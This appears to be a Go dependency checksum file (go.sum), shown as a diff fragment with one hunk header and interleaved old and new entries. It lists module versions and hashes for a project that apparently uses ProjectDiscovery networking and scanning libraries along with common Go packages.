github.com/owenrumney/go-sarif v1.0.4 h1:0LFC5eHP6amc/9ajM1jDiE52UfXFcl/oozay+X3KgV4=
github.com/owenrumney/go-sarif v1.0.4/go.mod h1:DXUGbHwQcCMvqcvZbxh8l/7diHsJVztOKZgmPt88RNI=
github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
github.com/onsi/gomega v1.10.5 h1:7n6FEkpFmfCoo2t+YYqXH0evK+a9ICQz0xcAy9dYcaQ=
github.com/onsi/gomega v1.10.5/go.mod h1:gza4q3jKQJijlu05nKWRCW/GavJumGt8aNRxWg7mt48=
github.com/owenrumney/go-sarif v1.0.11 h1:7k4TLSi6h3vAozSECjO0arcQoeUNDMgvA7LDac95sJo=
github.com/owenrumney/go-sarif v1.0.11/go.mod h1:hTBFbxU7GuVRUvwMx+eStp9M/Oun4xHCS3vqpPvket8=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/projectdiscovery/clistats v0.0.8 h1:tjmWb15mqsPf/yrQXVHLe2ThZX/5+mgKSfZBKWWLh20=
github.com/projectdiscovery/clistats v0.0.8/go.mod h1:lV6jUHAv2bYWqrQstqW8iVIydKJhWlVaLl3Xo9ioVGg=
github.com/projectdiscovery/collaborator v0.0.2 h1:BSiMlWM3NvuKbpedn6fIjjEo5b7q5zmiJ6tI7+6mB3s=
github.com/projectdiscovery/collaborator v0.0.2/go.mod h1:J1z0fC7Svutz3LJqoRyTHA3F0Suh4livmkYv8MnKw20=
github.com/projectdiscovery/fastdialer v0.0.8 h1:mEMc8bfXV5hc1PUEkJiUnR5imYQe6+839Zezd5jLkc0=
github.com/projectdiscovery/fastdialer v0.0.8/go.mod h1:AuaV0dzrNeBLHqjNnzpFSnTXnHGIZAlGQE+WUMmSIW4=
github.com/projectdiscovery/goflags v0.0.4 h1:fWKLMAr3KmPlZxE1b54pfei+vGIUJn9q6aM7woZIbCY=
github.com/projectdiscovery/goflags v0.0.4/go.mod h1:Ae1mJ5MIIqjys0lFe3GiMZ10Z8VLaxkYJ1ySA4Zv8HA=
github.com/projectdiscovery/gologger v1.1.3/go.mod h1:jdXflz3TLB8bcVNzb0v26TztI9KPz8Lr4BVdUhNUs6E=
github.com/projectdiscovery/fastdialer v0.0.12 h1:TjvM41UfR+A7YsxQZoTvI6C5nVe1d+fvRqtcDNbSwz8=
github.com/projectdiscovery/fastdialer v0.0.12/go.mod h1:RkRbxqDCcCFhfNUbkzBIz/ieD4uda2JuUA4WJ+RLee0=
github.com/projectdiscovery/goflags v0.0.7 h1:aykmRkrOgDyRwcvGrK3qp+9aqcjGfAMs/+LtRmtyxwk=
github.com/projectdiscovery/goflags v0.0.7/go.mod h1:Jjwsf4eEBPXDSQI2Y+6fd3dBumJv/J1U0nmpM+hy2YY=
github.com/projectdiscovery/gologger v1.0.1/go.mod h1:Ok+axMqK53bWNwDSU1nTNwITLYMXMdZtRc8/y1c7sWE=
github.com/projectdiscovery/gologger v1.1.4 h1:qWxGUq7ukHWT849uGPkagPKF3yBPYAsTtMKunQ8O2VI=
github.com/projectdiscovery/gologger v1.1.4/go.mod h1:Bhb6Bdx2PV1nMaFLoXNBmHIU85iROS9y1tBuv7T5pMY=
github.com/projectdiscovery/hmap v0.0.1 h1:VAONbJw5jP+syI5smhsfkrq9XPGn4aiYy5pR6KR1wog=
github.com/projectdiscovery/hmap v0.0.1/go.mod h1:VDEfgzkKQdq7iGTKz8Ooul0NuYHQ8qiDs6r8bPD1Sb0=
github.com/projectdiscovery/interactsh v0.0.3 h1:PUkWk+NzSyd5glMqfORmuqizhsd7c3WdTYBOto/MQIU=
github.com/projectdiscovery/interactsh v0.0.3/go.mod h1:dWnKO14d2FLP3kLhI9DecEsiAC/aZiJoUBGFjGhDskY=
github.com/projectdiscovery/hmap v0.0.2-0.20210616215655-7b78e7f33d1f h1:r0t4/voYErvcK/WBNZkvjZf6aQK0FOnc/sQKjlMS1AA=
github.com/projectdiscovery/hmap v0.0.2-0.20210616215655-7b78e7f33d1f/go.mod h1:FH+MS/WNKTXJQtdRn+/Zg5WlKCiMN0Z1QUedUIuM5n8=
github.com/projectdiscovery/interactsh v0.0.4 h1:3BtCZrrTovGYiqdFktXJ4NxKAQFvUvzcEI5pJIuShM8=
github.com/projectdiscovery/interactsh v0.0.4/go.mod h1:PtJrddeBW1/LeOVgTvvnjUl3Hu/17jTkoIi8rXeEODE=
github.com/projectdiscovery/ipranger v0.0.2/go.mod h1:kcAIk/lo5rW+IzUrFkeYyXnFJ+dKwYooEOHGVPP/RWE=
github.com/projectdiscovery/iputil v0.0.0-20210414194613-4b4d2517acf0/go.mod h1:PQAqn5h5NXsQTF4ZA00ZTYLRzGCjOtcCq8llAqrsd1A=
github.com/projectdiscovery/iputil v0.0.0-20210429152401-c18a5408ca46 h1:veDjJpC3q2PLyuYPS3jNeoYgbHvHPWQhwqRPoCe6YTA=
github.com/projectdiscovery/iputil v0.0.0-20210429152401-c18a5408ca46/go.mod h1:PQAqn5h5NXsQTF4ZA00ZTYLRzGCjOtcCq8llAqrsd1A=
github.com/projectdiscovery/mapcidr v0.0.4/go.mod h1:ALOIj6ptkWujNoX8RdQwB2mZ+kAmKuLJBq9T5gR5wG0=
github.com/projectdiscovery/mapcidr v0.0.6 h1:RRIrqNakUEF/pstIXWTD6yvCMF9N6SnOb9m4ju4xavc=
github.com/projectdiscovery/mapcidr v0.0.6/go.mod h1:ZEBhMmBU3laUl3g9QGTrzJku1VJOzjdFwW01f/zVVzM=
github.com/projectdiscovery/networkpolicy v0.0.1 h1:RGRuPlxE8WLFF9tdKSjTsYiTIKHNHW20Kl0nGGiRb1I=
github.com/projectdiscovery/networkpolicy v0.0.1/go.mod h1:asvdg5wMy3LPVMGALatebKeOYH5n5fV5RCTv6DbxpIs=
github.com/projectdiscovery/rawhttp v0.0.7 h1:5m4peVgjbl7gqDcRYMTVEuX+Xs/nh76ohTkkvufucLg=
github.com/projectdiscovery/rawhttp v0.0.7/go.mod h1:PQERZAhAv7yxI/hR6hdDPgK1WTU56l204BweXrBec+0=
github.com/projectdiscovery/retryabledns v1.0.7/go.mod h1:/UzJn4I+cPdQl6pKiiQfvVAT636YZvJQYZhYhGB0dUQ=
github.com/projectdiscovery/retryabledns v1.0.10 h1:xJZ2aKoqrNg/OZEw1+4+QIOH40V/WkZDYY1ZZc+uphE=
github.com/projectdiscovery/retryabledns v1.0.10/go.mod h1:4sMC8HZyF01HXukRleSQYwz4870bwgb4+hTSXTMrkf4=
github.com/projectdiscovery/retryabledns v1.0.11/go.mod h1:4sMC8HZyF01HXukRleSQYwz4870bwgb4+hTSXTMrkf4=
github.com/projectdiscovery/retryabledns v1.0.12 h1:OzCsUaipN75OwjtH62FxBIhKye1NmnfG4DxtQclOtns=
github.com/projectdiscovery/retryabledns v1.0.12/go.mod h1:4sMC8HZyF01HXukRleSQYwz4870bwgb4+hTSXTMrkf4=
github.com/projectdiscovery/retryablehttp-go v1.0.1/go.mod h1:SrN6iLZilNG1X4neq1D+SBxoqfAF4nyzvmevkTkWsek=
github.com/projectdiscovery/retryablehttp-go v1.0.2-0.20210524224054-9fbe1f2b0727 h1:CJHP3CLCc/eqdXQEvZy8KiiqtAk9kEsd1URtPyPAQ1s=
github.com/projectdiscovery/retryablehttp-go v1.0.2-0.20210524224054-9fbe1f2b0727/go.mod h1:dx//aY9V247qHdsRf0vdWHTBZuBQ2vm6Dq5dagxrDYI=
github.com/prologic/smtpd v0.0.0-20210126001904-0893ad18168e h1:ZT3wZ92sp/EHEE/HcFCWCsYS3ROLjHb6EqSX8qYrgXw=
github.com/prologic/smtpd v0.0.0-20210126001904-0893ad18168e/go.mod h1:GkLsdH1RZj6RDKeI9A05NGZYmEZQ/PbQcZPnZoSZuYI=
github.com/projectdiscovery/retryablehttp-go v1.0.2 h1:LV1/KAQU+yeWhNVlvveaYFsjBYRwXlNEq0PvrezMV0U=
github.com/projectdiscovery/retryablehttp-go v1.0.2/go.mod h1:dx//aY9V247qHdsRf0vdWHTBZuBQ2vm6Dq5dagxrDYI=
github.com/projectdiscovery/stringsutil v0.0.0-20210804142656-fd3c28dbaafe h1:tQTgf5XLBgZbkJDPtnV3SfdP9tzz5ZWeDBwv8WhnH9Q=
github.com/projectdiscovery/stringsutil v0.0.0-20210804142656-fd3c28dbaafe/go.mod h1:oTRc18WBv9t6BpaN9XBY+QmG28PUpsyDzRht56Qf49I=
github.com/projectdiscovery/yamldoc-go v1.0.2 h1:SKb7PHgSOXm27Zci05ba0FxpyQiu6bGEiVMEcjCK1rQ=
github.com/projectdiscovery/yamldoc-go v1.0.2/go.mod h1:7uSxfMXaBmzvw8m5EhOEjB6nhz0rK/H9sUjq1ciZu24=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E=
github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo=
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rogpeppe/fastuuid v1.1.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/rs/xid v1.2.1 h1:mhH9Nq+C1fY2l1XIpgxIiUOfNpRBYH1kKcr+qfKgjRc=
github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
github.com/segmentio/ksuid v1.0.3 h1:FoResxvleQwYiPAVKe1tMUlEirodZqlqglIuFsdDntY=
github.com/rogpeppe/go-internal v1.6.2/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc=
github.com/rs/xid v1.3.0 h1:6NjYksEUlhurdVehpc7S7dk6DAmcKv8V9gG0FsVN2U4=
github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
github.com/segmentio/ksuid v1.0.3/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE=
github.com/segmentio/ksuid v1.0.4 h1:sBo2BdShXjmcugAMwjugoGUdUV0pcxY5mW4xKRn3v4c=
github.com/segmentio/ksuid v1.0.4/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE=
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
github.com/shirou/gopsutil/v3 v3.21.7 h1:PnTqQamUjwEDSgn+nBGu0qSDV/CfvyiR/gwTH3i7HTU=
github.com/shirou/gopsutil/v3 v3.21.7/go.mod h1:RGl11Y7XMTQPmHh8F0ayC6haKNBgH4PXMJuTAcMOlz4=
github.com/smartystreets/assertions v1.0.0/go.mod h1:kHHU4qYBaI3q23Pp3VPrmWhuIUrLW/7eUrw0BU5VaoM=
github.com/smartystreets/go-aws-auth v0.0.0-20180515143844-0c1422d1fdb9/go.mod h1:SnhjPscd9TpLiy1LpzGSKh3bXCfxxXuqd9xmQJy3slM=
github.com/smartystreets/gunit v1.0.0/go.mod h1:qwPWnhz6pn0NnRBP++URONOVyNkPyr4SauJk4cUOwJs=
github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
github.com/spaolacci/murmur3 v1.1.0 h1:7c1g84S4BPRrfL5Xrdp6fOJ206sU9y293DDHaoy0bLI=
github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
github.com/spf13/cast v1.3.1 h1:nFm6S0SMdyzrzcmThSipiEubIDy8WEXKNZ0UOgiRpng=
github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
github.com/spf13/cast v1.4.1 h1:s0hze+J0196ZfEMTs80N7UlFt0BDuQ7Q+JDnHiMWKdA=
github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU=
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.3.1-0.20190311161405-34c6fa2dc709/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE=
github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ=
github.com/trivago/tgo v1.0.1/go.mod h1:w4dpD+3tzNIIiIfkWWa85w5/B77tlvdZckQ+6PkFnhc=
github.com/tj/assert v0.0.0-20171129193455-018094318fb0/go.mod h1:mZ9/Rh9oLWpLLDRpvE+3b7gP/C2YyLFYxNmcLnPTMe0=
github.com/tj/assert v0.0.3 h1:Df/BlaZ20mq6kuai7f5z2TvPFiwC3xaWJSDQNiIS3Rk=
github.com/tj/assert v0.0.3/go.mod h1:Ne6X72Q+TB1AteidzQncjw9PabbMp4PBMZ1k+vd1Pvk=
github.com/tj/go-buffer v1.1.0/go.mod h1:iyiJpfFcR2B9sXu7KvjbT9fpM4mOelRSDTbntVj52Uc=
github.com/tj/go-elastic v0.0.0-20171221160941-36157cbbebc2/go.mod h1:WjeM0Oo1eNAjXGDx2yma7uG2XoyRZTq1uv3M/o7imD0=
github.com/tj/go-kinesis v0.0.0-20171128231115-08b17f58cb1b/go.mod h1:/yhzCV0xPfx6jb1bBgRFjl5lytqVqZXEaeqWP8lTEao=
github.com/tj/go-spin v1.1.0/go.mod h1:Mg1mzmePZm4dva8Qz60H2lHwmJ2loum4VIrLgVnKwh4=
github.com/tj/go-update v2.2.5-0.20200519121640-62b4b798fd68+incompatible h1:guTq1YxwB8XSILkI9q4IrOmrCOS6Hc1L3hmOhi4Swcs=
github.com/tj/go-update v2.2.5-0.20200519121640-62b4b798fd68+incompatible/go.mod h1:waFwwyiAhGey2e+dNoYQ/iLhIcFqhCW7zL/+vDU1WLo=
github.com/tklauser/go-sysconf v0.3.7 h1:HT7h4+536gjqeq1ZIJPgOl1rg1XFatQGVZWp7Py53eg=
github.com/tklauser/go-sysconf v0.3.7/go.mod h1:JZIdXh4RmBvZDBZ41ld2bGxRV3n4daiiqA3skYhAoQ4=
github.com/tklauser/numcpus v0.2.3 h1:nQ0QYpiritP6ViFhrKYsiv6VVxOpum2Gks5GhnJbS/8=
github.com/tklauser/numcpus v0.2.3/go.mod h1:vpEPS/JC+oZGGQ/My/vJnNsvMDQL6PwOqt8dsCw5j+E=
github.com/trivago/tgo v1.0.7 h1:uaWH/XIy9aWYWpjm2CU3RpcqZXmX2ysQ9/Go+d9gyrM=
github.com/trivago/tgo v1.0.7/go.mod h1:w4dpD+3tzNIIiIfkWWa85w5/B77tlvdZckQ+6PkFnhc=
github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0=
github.com/ulikunitz/xz v0.5.6/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8=
github.com/ulikunitz/xz v0.5.10 h1:t92gobL9l3HE202wg3rlk19F6X+JOxl9BBrCCMYEYd8=
github.com/ulikunitz/xz v0.5.10/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
github.com/valyala/fasttemplate v1.2.1 h1:TVEnxayobAdVkhQfrfes2IzOB6o+z4roRkPF52WA1u4=
@ -274,45 +423,54 @@ github.com/vmihailenco/msgpack/v4 v4.3.12/go.mod h1:gborTTJjAo/GWTqqRjrLCn9pgNN+
github.com/vmihailenco/tagparser v0.1.1/go.mod h1:OeAg3pn3UbLjkWt+rN9oFYB6u/cQgqMEUPoW2WPyhdI=
github.com/wsxiaoys/terminal v0.0.0-20160513160801-0940f3fc43a0 h1:3UeQBvD0TFrlVjOeLOBz+CPAI8dnbqNSVwUwRrkp7vQ=
github.com/wsxiaoys/terminal v0.0.0-20160513160801-0940f3fc43a0/go.mod h1:IXCdmsXIht47RaVFLEdVnh1t+pgYtTAhQGj73kz+2DM=
github.com/xanzy/go-gitlab v0.44.0 h1:cEiGhqu7EpFGuei2a2etAwB+x6403E5CvpLn35y+GPs=
github.com/xanzy/go-gitlab v0.44.0/go.mod h1:sPLojNBn68fMUWSxIJtdVVIP8uSBYqesTfDUseX11Ug=
github.com/xanzy/go-gitlab v0.50.3 h1:M7ncgNhCN4jaFNyXxarJhCLa9Qi6fdmCxFFhMTQPZiY=
github.com/xanzy/go-gitlab v0.50.3/go.mod h1:Q+hQhV508bDPoBijv7YjK/Lvlb4PhVhJdKqXVQrUoAE=
github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=
github.com/yl2chen/cidranger v1.0.2 h1:lbOWZVCG1tCRX4u24kuM1Tb4nHqWkDxwLdoS+SevawU=
github.com/yl2chen/cidranger v1.0.2/go.mod h1:9U1yz7WPYDwf0vpNWFaeRh0bjwz5RVgRy/9UEQfHl0g=
github.com/ysmood/goob v0.3.0 h1:XZ51cZJ4W3WCoCiUktixzMIQF86W7G5VFL4QQ/Q2uS0=
github.com/ysmood/goob v0.3.0/go.mod h1:S3lq113Y91y1UBf1wj1pFOxeahvfKkCk6mTWTWbDdWs=
github.com/ysmood/got v0.9.3 h1:qx51X49jL/WAiqZzPTkPZ0zp5pTmrWJa4zYFTYo0gHI=
github.com/ysmood/got v0.9.3/go.mod h1:pE1l4LOwOBhQg6A/8IAatkGp7uZjnalzrZolnlhhMgY=
github.com/ysmood/gotrace v0.2.0 h1:IkTC6rJREwXSaG8yWK+NFwIJGIsxA1DjC6/gxYyQttE=
github.com/ysmood/got v0.14.1 h1:lTtBNVF2nxLs/jcV7leNUWVYO9jgjOUpClXbu3ihIPA=
github.com/ysmood/got v0.14.1/go.mod h1:pE1l4LOwOBhQg6A/8IAatkGp7uZjnalzrZolnlhhMgY=
github.com/ysmood/gotrace v0.2.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM=
github.com/ysmood/gson v0.6.3 h1:4cU+5oOdsyundXHy00t99H0rLXLthuseD3x6W+xmCiU=
github.com/ysmood/gotrace v0.2.2 h1:006KHGRThSRf8lwh4EyhNmuuq/l+Ygs+JqojkhEG1/E=
github.com/ysmood/gotrace v0.2.2/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM=
github.com/ysmood/gson v0.6.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg=
github.com/ysmood/leakless v0.6.12 h1:XxtRYl97bJklfv4BZVdyGnd/y42p6w8lu1hUzfCkT4M=
github.com/ysmood/gson v0.6.4 h1:Yb6tosv6bk59HqjZu2/7o4BFherpYEMkDkXmlhgryZ4=
github.com/ysmood/gson v0.6.4/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg=
github.com/ysmood/leakless v0.6.12/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=
github.com/ysmood/leakless v0.7.0 h1:XCGdaPExyoreoQd+H5qgxM3ReNbSPFsEXpSKwbXbwQw=
github.com/ysmood/leakless v0.7.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=
github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/zclconf/go-cty v1.8.2 h1:u+xZfBKgpycDnTNjPhGiTEYZS5qS/Sb5MqSfm7vzcjg=
github.com/zclconf/go-cty v1.8.2/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/zclconf/go-cty v1.8.4 h1:pwhhz5P+Fjxse7S7UriBrMu6AUJSZM5pKqGem1PjGAs=
github.com/zclconf/go-cty v1.8.4/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk=
go.etcd.io/bbolt v1.3.5 h1:XAzx9gjCb0Rxj7EoqcClPD1d5ZBxZJk0jbuoPHenBt0=
go.etcd.io/bbolt v1.3.5/go.mod h1:G5EMThwa9y8QZGBClrRx5EY+Yw9kAhnjy3bSjsnlVTQ=
go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.uber.org/atomic v1.7.0 h1:ADUqmZGgLDDfbSL9ZmPxKTybcoEYHgpYfELNoN+7hsw=
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/multierr v1.6.0 h1:y6IPFStTAIT5Ytl7/XYmHvzXQ7S3g/IeZW9hyZ5thw4=
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
go.uber.org/ratelimit v0.1.0 h1:U2AruXqeTb4Eh9sYQSTrMhH8Cb7M0Ian2ibBOnBcnAw=
go.uber.org/ratelimit v0.1.0/go.mod h1:2X8KaoNd1J0lZV+PxJk/5+DGbO/tpwLR1m++a7FnB/Y=
go.uber.org/atomic v1.9.0 h1:ECmE8Bn/WFTYwEW/bpKD3M8VtR/zQVbavAoalC1PYyE=
go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/multierr v1.7.0 h1:zaiO/rmgFjbmCXdSYJWQcdvOCsthmdaHfr3Gm2Kx4Ec=
go.uber.org/multierr v1.7.0/go.mod h1:7EAYxJLBy9rStEaz58O2t4Uvip6FSURkq8/ppBp95ak=
go.uber.org/ratelimit v0.2.0 h1:UQE2Bgi7p2B85uP5dC2bbRtig0C+OeNRnNEafLjsLPA=
go.uber.org/ratelimit v0.2.0/go.mod h1:YYBV4e4naJvhpitQrWJu1vCpgB7CboMe0qhltKt6mUg=
golang.org/x/arch v0.0.0-20180920145803-b19384d3c130/go.mod h1:cYlCBUl1MsqxdiKgmc4uh7TxZfWSFLOGSRR090WDxt8=
golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190426145343-a29dc8fdc734/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201002170205-7f63de1d35b0/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201112155050-0c6587e931a9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/crypto v0.0.0-20210218145215-b8e89b74b9df h1:y7QZzfUiTwWam+xBn29Ulb8CBwVN5UdzmMDavl9Whlw=
golang.org/x/crypto v0.0.0-20210218145215-b8e89b74b9df/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
